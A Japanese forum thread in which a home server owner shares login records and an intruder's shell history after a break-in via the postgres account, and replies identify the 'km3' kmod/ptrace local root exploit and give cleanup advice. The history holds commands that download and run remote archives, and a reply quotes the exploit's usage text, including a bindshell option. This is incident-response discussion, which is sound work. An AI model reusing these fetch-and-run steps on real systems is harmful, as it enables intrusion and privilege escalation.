Linuxコミュの自宅サーバが進入されました。

先日、自宅のLinuxサーバに不正に進入されてしまいました。
原因は、自分の管理ミスであったのですが、確認出来たログを載せますので何をされたか解る方がいましたら、情報をお願いします。

lastのログ
--------------------------------------------
postgres pts/1 80.97.66.209 Tue Oct 19 05:51 - 05:55 (00:04)
postgres pts/2 211.251.71.2 Tue Oct 19 01:39 - 01:39 (00:00)
postgres pts/1 80.97.66.209 Tue Oct 19 01:39 - 02:08 (00:28)
postgres pts/1 211.251.71.2 Tue Oct 19 01:37 - 01:37 (00:00)
--------------------------------------------

/home/postgres/.bash_history
--------------------------------------------
w
uname -a
cat /etc/hosts
cat /etc/issue
cd /tmp
ls -a
wget members.xoom.it/racovita/0.tar.gz
wget members.xoom.it/racovita/l.tgz
tar xzvf 0.tar.gz
rm -rf 0.tar.gz
./0
rm -rf 0
tar xzvf l.tgz
rm -rf l.tgz
./km3 -d
passwd
killall -9 socklist
exitr
exit
--------------------------------------------

#postgresのパスワードは変更後、サーバの電源は切っています。

コメント(5)

最初
全て
最新の40件

[2] mixiユーザー 11月16日 19:15

Usage: %s [-d] [-b] [-r] [-s] [-c executable]
-d -- use double-ptrace method (to run interactive programs)
-b -- start bindshell on port 4112
-r -- support randomized pids
-c -- choose executable to start
-s -- single-shot mode - abort if unsuccessful at the first try
Linux kmod + ptrace local root exploit by <anszom@v-lo.krakow.pl>

だそうで＞km3
root取られてるかもね～
lsとかpsとかnetstatとかも置き換わってるかも。
色々コマンド差し替えられてるとおもうので、データ救って放棄
してしまうのが良いです(興味が無いなら)。ただし、その箱(から
/へ)外(に/から)接続できないようにした上でどうぞ。

[3] mixiユーザー 11月16日 19:20

あえてろ～ずさんのに付け加えるなら。
KNOPPIXから起動してchkrootkit -r してみるところだな。私なら。
まぁ、root取られるとかしてないと思うけど。

[4] mixiユーザー 11月16日 23:56

> ろ～ずさん
アドバイスありがとうございます。
/var/logには、該当しそうな時間には、下記の様なログが複数回残っているだけでそのほかには、関連しそうなログは、みつけられませんでした。

Oct 19 01:46:00 ns2 modprobe: modprobe: Can't locate module net-pf-22

>minemaz さん
確認ありがとうございます。
さすがにこのままの状態では、怖いので、初期化して、再インストールします。

>oddmake さん
アドバイスありがとうございます。
chkrootkit -r を実行してみたのですが、何も引っかからなかったです。

[5] mixiユーザー 11月20日 00:09

chkrootkitとclamavでのウィルススキャンをして引っかからなかったら、
次はSELinuxの導入を検討した方がいいと思います。
かくいう私もSELinuxは手探り状態ですが…

ログインすると、みんなのコメントがもっと見れるよ